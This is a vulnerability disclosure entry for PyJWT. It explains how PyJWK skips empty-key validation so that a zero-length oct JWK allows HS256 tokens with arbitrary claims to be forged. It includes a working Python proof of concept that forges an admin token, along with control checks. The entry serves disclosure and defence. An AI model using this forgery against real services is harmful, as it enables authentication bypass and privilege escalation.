# PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation

PyJWT's PyJWK path skipped empty-key validation, so an empty oct JWK let attackers forge HS256 tokens with arbitrary claims.

- Payout: Research
- Severity: high
- Program: PyJWT
- Found by: hsnyus-09
- Disclosed: 2026-09-29
- CVE: CVE-2026-102266
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9j54-fg26-wv3r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9j54-fg26-wv3r
- Tags: area:oss domain:oss impact:ato impact:privesc kind:research platform:ghsa sev:high tech:jwt tech:python technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:crypto

**Target:** PyJWT library PyJWK/PyJWKSet HS256 verification path
**Root cause:** PyJWS._verify_signature uses key.key directly for PyJWK objects instead of routing through alg_obj.prepare_key(), so the empty-key check in HMACAlgorithm.prepare_key is never applied to a zero-length oct JWK.
**Steps:**
1. Install PyJWT 2.13.0.
2. Build a JWKSet with `{"kty":"oct","k":"","kid":"active","alg":"HS256","use":"sig"}` and load via `PyJWKSet.from_dict(...)["active"]`.
3. Forge a token: header/payload base64url, signature `b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())`.
4. Call `jwt.decode(forged, jwk, algorithms=["HS256"])`; claims are accepted.
5. Control: `jwt.decode(forged, b"", algorithms=["HS256"])` raises InvalidKeyError; `enforce_minimum_key_length=True` also rejects.
**How found:** Noticed inconsistent validation of identical key material: raw b"" rejected by HMACAlgorithm.prepare_key, but the same bytes via HMACAlgorithm.from_jwk -> PyJWK.key reach verification unchecked; confirmed by monkeypatching prepare_key to raise and observing PyJWK path still accepted.
**Exploitation:** Attacker computes HMAC-SHA256 with the known zero-length key over any header/payload, embedding arbitrary claims (e.g. admin:true, chosen exp/aud/iss), and submits the token to a service that verifies via PyJWK/PyJWKSet backed by an empty oct JWK; the service accepts it as authenticated.
**Escalation:** Arbitrary claim choice yields impersonation, privilege escalation, or protected-resource access depending on how the app consumes claims.
**Insight:** When a library has multiple key-ingestion paths (raw vs JWK), diff their validation: a decoded JWK key that skips prepare_key() can carry values the raw path rejects, like zero-length HMAC secrets.

## Proof of concept (copied exactly from the original report)

**PoC forging HS256 token with empty oct JWK**

```
import base64
import hashlib
import hmac
import json
import time
import warnings

import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError


def b64u(value: bytes) -> bytes:
    return base64.urlsafe_b64encode(value).rstrip(b"=")


now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
    json.dumps(
        {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
        separators=(",", ":"),
    ).encode()
)
signing_input = header + b"." + payload
forged = (
    signing_input
    + b"."
    + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()

jwk = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "",
                "kid": "active",
                "alg": "HS256",
                "use": "sig",
            }
        ]
    }
)["active"]

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    claims = jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"require": ["exp"]},
    )

assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)

try:
    jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
    print("CONTROL raw empty key: rejected")
else:
    raise AssertionError("raw empty key was accepted")

try:
    jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"enforce_minimum_key_length": True},
    )
except InvalidKeyError:
    print("CONTROL strict PyJWK: rejected")
else:
    raise AssertionError("strict PyJWK was accepted")

real_key = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "cmVhbC1zZWNyZXQ",
                "kid": "active",
                "alg": "HS256",
            }
        ]
    }
)["active"]

try:
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
    print("CONTROL non-empty PyJWK: rejected")
else:
    raise AssertionError("non-empty PyJWK accepted an empty-key forgery")
```

**Empty oct JWK JSON**

```
{"kty":"oct","k":""}
```

